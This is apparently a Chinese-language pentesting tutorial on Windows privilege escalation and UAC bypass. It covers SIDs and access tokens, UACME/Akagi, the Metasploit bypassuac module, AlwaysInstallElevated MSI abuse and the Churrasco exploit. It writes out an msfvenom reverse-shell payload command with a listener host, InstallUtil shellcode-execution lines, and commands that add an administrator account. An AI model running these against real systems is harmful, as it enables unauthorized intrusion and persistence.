0x01. windows提权介绍
1. Windows提权介绍
提权可分为 纵向提权与横向提权 :
纵向提权 : 低权限角色获得高权限角色的权限
普通用户权限提升为system权限
域用户权限提升为域控权限
横向提权 : 获取同级别角色的权限
普通用户到普通用户 , 域用户到域用户
Windows常用的提权方法有:
系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、WEB中间件漏洞提权、DLL劫持提权、滥用高危权限令牌提权、第三方软件/服务提权等。
C:\Windows\Microsoft.NET\Framework64\v4.0.30319>csc.exe /unsafe /platform:x86 /out:C:\\Windows\\Temp\\ctcse.exe C:\\Windows\\Temp\\InstallUtil-ShellCode.cs
InstallUtil.exe /logfile= /LogToConsole=false /U C:\\Windows\\Temp\\ctcse.exe
2. 安全标识符(SID)
安全标识符在 windows 中,系统是通过SID对用户进行识别的,而不是很多用户认为的 "用户名称"
。SID可以应用于系统内的所有用户、组、服务或计算机,因为SID是一个具有惟一性、绝对不会重复产生的数值,所以,在删除了一个账户( 如名为"A"的账户 )后,再次创建这个"A"账户时,前一个A与后一个A账户的SID是不相同的。这种设计使得账户的权限得到了最基础的保护,盗用权限的情况也就彻底杜绝了。
查看用户、组、服务或计算机的SID值,可以使用 " Whoami /all " 命令来执行。
3. UAC
UAC (User Account Control),中文翻译为用户帐户控制
,是微软在Windows Vista和Windows7中引用的新技术,主要功能是进行一些会影响系统安全的操作时,会自动触发UAC用户确认后才能执行。就是下面这个东西
因为大部分的恶意软件、木马病毒、广告插件在进入计算机时都会有 如: 将文件复制到Windows或Program Files等自录、安装驱动、安装ActiveX等操作,而这些操作都会触发UAC用户都可以在UAC提示时来禁止这些程序的运行。
win10关闭uac , 设置搜索uac
4. UAC的实现
ACL (Access Control List) : Windows中所有资源都有ACL , 这个列表决定了拥有何种权限的用户/进程能够这个资源。
在开启了UAC之后,如果用户是标准用户,Windows会给用户分配一个标准Access Token ,如果用户以管理员权限登陆,会生成两份访问令牌,一份是完整的管理员访问令牌 (Full Access Token),一份是标准用户令牌。一般情况下会以标准用户权限启动Explorer.exe进程。如果用户同意 , 则赋予完整管理员权限访问令牌进行操作。
可以使用whoami /priv看当前的权限
当你windows默认用普通用户打开cmd是无法通过命令新建用户的 , 但是你通过管理员运行cmd的话就可以新建用户了 , 这就是一个对资源访问令牌的赋予过程
5. 提权常用命令
net user 查看用户数量
whoami /priv 查看用户权限
quser 查看在线用户
tasklist 查看当前进程
net user a a /add 添加用户
net localgroup administrators a /add 添加用户到组
0x02. UAC绕过思路
1. Akagi工具获取UAC权限
使用vs2019本地编译后可以使用akagi3241或者akagi64 41启动程序,41这个指的是README中描述的方法索引,运行后可以直接得到管理员权限的cmd窗口。
项目地址: https://github.com/hfiref0x/UACME
下载源码--》vs2019打开--》重新生成--》执行命令akagi64.exe 61 c:\windows\system32\cmd.exe
复现失败 , 确切的说是编译失败
2. MSF获取UAC权限
首先通过msf生成一个木马 , 然后监听上线,将session放到后台 , 默认这个session是普通用户的 , 然后通过bypassuac模块 , 绕过uac ,重新生成一个session
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.115 lport=4444 -f exe -o shell.exe
use exploit/windows/local/bypassuac
set session 1
set target 1
run
注意 :win10没有这类漏洞 , 此方法适用于win7复现 , 如何检测是否bypass了呢?两个会话一个可以新建用户 , 一个不可以
3. MSI文件直接获取超管权限
我们可以使用msf生成一个msi文件,在Windows中, msi文件会以高级管理员权限运行。
上线之后的权限是nt authoritylsystem 任意用户以NT AUTHORITYI SYSTEM权限安装msi , 安装的时候会触发UAC
AlwaysInstallElevated是一个策略设置,当在系统中使用Windows Installer安装任何程序时,该参数允许非特权用户以system权限运行MSI文件。如果目标系统上启用了这一设置,我们可以使用msf生成msi文件来以system权限执行任意payload。
步骤:
1.msf生成一个msi文件
2.msf监听
3.靶机运行安装
4.上线
4. DLL后门注入绕过UAC
也可以使用文件绑定形式flash.exe
或者使用backdoor这款工具注入dll或者exe
https:/lgithub.com/secretsquirrel/the-backdoor-factory 复现失败
0x03. 漏洞提权
1. 巴西烤肉(Pr)提权
巴西烤肉提权也称之为Microsoft Windows RPCSS服务隔离本地权限提升漏洞。
原理是: RPCSS服务没有正确地隔离NetworkService或LocalService帐号下运行的进程,本地攻击者可以利用令牌劫持的方式获得权限提升。成功利用此漏洞的攻击者可以完全控制受影响的系统,攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。
该提权只适用于Windows 2003 Server
这里不做演示了
2. 计划任务提权
在Windows中可以利用计划任务覆盖原有的程序来进行替换